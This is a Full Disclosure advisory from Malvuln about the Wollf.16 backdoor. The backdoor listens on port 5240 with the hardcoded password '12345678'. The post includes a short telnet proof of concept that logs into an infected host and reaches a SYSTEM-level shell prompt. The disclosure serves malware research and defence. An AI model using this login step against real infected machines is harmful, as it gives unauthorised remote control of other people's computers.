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Date: Sat, 23 Jan 2021 22:30:28 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Wollf.16 / Weak Hardcoded Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/5f79b779acd4c9c75211835a2783bccb.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.16
Vulnerability: Weak Hardcoded Password
Description: Wollf.16 creates and runs a service named contime.exe
with SYSTEM integrity and listens on port 5240. The malware uses a
weak hardcoded password "12345678" which can easily be viewed in the
binary using strings utility.
Type: PE32
MD5: 5f79b779acd4c9c75211835a2783bccb
Vuln ID: MVID-2021-0051
Service created: contime.exe
Disclosure: 01/23/2021

Exploit/PoC:
TELNET MALWARE_INECTED_HOST 5240

Login: 12345678
Login succeed!
"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org
[DESKTOP-XXXXX@C:\WINDOWS\system32]


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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